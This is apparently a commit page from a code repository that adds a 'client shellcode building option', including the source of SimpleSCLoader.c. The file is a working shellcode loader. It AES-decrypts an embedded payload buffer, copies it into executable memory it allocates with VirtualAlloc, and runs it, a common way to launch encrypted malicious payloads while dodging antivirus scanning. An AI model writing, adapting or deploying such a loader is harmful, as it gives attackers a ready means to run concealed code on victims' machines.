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Feature: Add client shellcode building option

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yuanyuanxiang
2025-09-01 12:29:52 +08:00
parent f4ae2efbc7
commit d0b6b3938e
12 changed files with 322 additions and 4 deletions
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161
client/SCLoader.vcxproj Normal file
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client/SCLoader.vcxproj.filters Normal file
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client/SCLoader.vcxproj.user Normal file
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32
client/SimpleSCLoader.c Normal file
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#include <windows.h>
#include <stdio.h>
#include "../common/aes.h"
struct
{
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char data[4*1024*1024];
int len;
} sc = { "Hello, World!" };
// A simple shell code loader.
// Copy left (c) yuanyuanxiang.
int main() {
if (!sc.data[0] || !sc.len)
return -1;
for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]); printf("\n\n");
for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]); printf("\n\n");
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec) {
memcpy(exec, sc.data, sc.len);
((void(*)())exec)();
Sleep(INFINITE);
}
return 0;
}